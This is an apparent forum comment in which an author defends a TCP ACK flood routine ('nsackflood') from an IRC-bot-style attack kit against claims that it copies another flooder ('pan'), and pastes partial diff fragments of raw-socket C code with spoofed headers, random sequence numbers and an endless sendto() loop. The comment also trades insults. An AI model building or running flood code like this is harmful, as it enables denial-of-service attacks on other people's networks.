It's not that simple, I just told you, use diff (man diff) ... I create the correct tcp header ... and the nsackflood is a flooder by acknowledgement, can you please do tcpdump -q -n -t -i yourinterface and view what type of packets generate tsunami and what type of packets generates my nsackflood ? tsunami doesn't do an ackflood, IDIOT!!!
If you think so, please give a good look to pan and tsuname attacks (that aren't native fuctions, so why you write them as native fuctions?) the code is completely different, try to cut nsackflood and then paste it and do the same with pan and then use "diff -p nsackflood pan" ... I copy here JUST A LITTLE of the differences between Pan and NSACKFLOOD:
All Comments
It's not that simple, I just told you, use diff (man diff) ... I create the correct tcp header ... and the nsackflood is a flooder by acknowledgement, can you please do tcpdump -q -n -t -i yourinterface and view what type of packets generate tsunami and what type of packets generates my nsackflood ? tsunami doesn't do an ackflood, IDIOT!!!
If you think so, please give a good look to pan and tsuname attacks (that aren't native fuctions, so why you write them as native fuctions?) the code is completely different, try to cut nsackflood and then paste it and do the same with pan and then use "diff -p nsackflood pan" ... I copy here JUST A LITTLE of the differences between Pan and NSACKFLOOD:
PAN:
! void pan(int sock, char *sender, int argc, char **argv) {
NSACKFLOOD:
! void nsackflood(int sock, char *sender, int argc, char **argv) {
PAN:
! send_tcp.ip.ttl = 64;
! send_tcp.tcp.ack_seq = 0;
! send_tcp.tcp.doff = 10;
! send_tcp.tcp.ack = 0;
! send_tcp.tcp.psh = 0;
! send_tcp.tcp.syn = 1;
! dest=htons(atoi(argv[2]));
! source=rand()
! send_tcp.ip.check = 0;
! send_tcp.tcp.source = source;
! sin.sin_port = dest;
! check = rand();
! send_tcp.buf[9]=((char*)&check)[0];
! send_tcp.buf[10]=((char*)&check)[1];
! send_tcp.buf[11]=((char*)&check)[2];
! send_tcp.buf[12]=((char*)&check)[3];
NSACKFLOOD:
! send_tcp.ip.ttl = 255
! send_tcp.tcp.doff = 5;
! send_tcp.tcp.ack = 1;
! send_tcp.tcp.psh = 1;
! send_tcp.tcp.syn = 0;
!
while(1) {
! saddr=INADDR_ANY;
+ send_tcp.ip.check = 0;
! send_tcp.tcp.source = rand();
+ send_tcp.tcp.ack_seq = rand();
! sin.sin_port = send_tcp.tcp.dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, $
! check = in_cksum((unsigned short *)&send_tcp, 40);
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
PAN:
*** 68,73 ****
YEAH THERE IS NOTHING HERE!!!
--- 68,75 ----
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
+
+
if (a >= 50) {
if (time(NULL) >= start+secs) exit(0);
a=0;
WHERE ARE THE SAME, SORRY ? CAN YOU PLEASE READ BETTER THE CODE ?
BECAUSE THERE ARE A LOT OF DIFFERENCES, HERE I LISTED JUST A LITTLE OF THEM, L4m0R!